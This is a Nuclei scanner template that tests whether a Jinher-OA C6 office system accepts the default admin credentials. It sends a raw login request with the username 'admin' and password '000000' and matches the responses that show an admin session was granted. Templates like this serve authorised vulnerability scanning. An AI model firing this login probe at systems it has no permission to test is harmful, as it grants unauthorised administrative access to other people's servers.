id: jinher-oa-default-login

info:
  name: Jinher-OA C6 - Default Admin Discovery
  author: ritikchaddha
  severity: high
  description: Jinher-OA C6 default admin credentials were discovered.
  reference:
    - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: jinher,default-login

http:
  - raw:
      - |
        POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=login&loginCode={{base64("{{username}}")}}&pwd={{base64("{{password}}")}}&

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - "000000"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ÏµÍ³¹ÜÀíÔ±|"
          - "ÄúºÃ|||"
        condition: and

      - type: word
        part: header
        words:
          - "SessionIDAdmin="

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100c7f1aeb7fdb9213a70f5c33dbd33cb2e5f4445b1b3c8644668dfb733ae8e3f48022100ff616236d4f688db2f8267b1d09d2a573a8c6c266b7690b419697f88bdc8faf7:922c64590222798bb761d5b6d8e72950
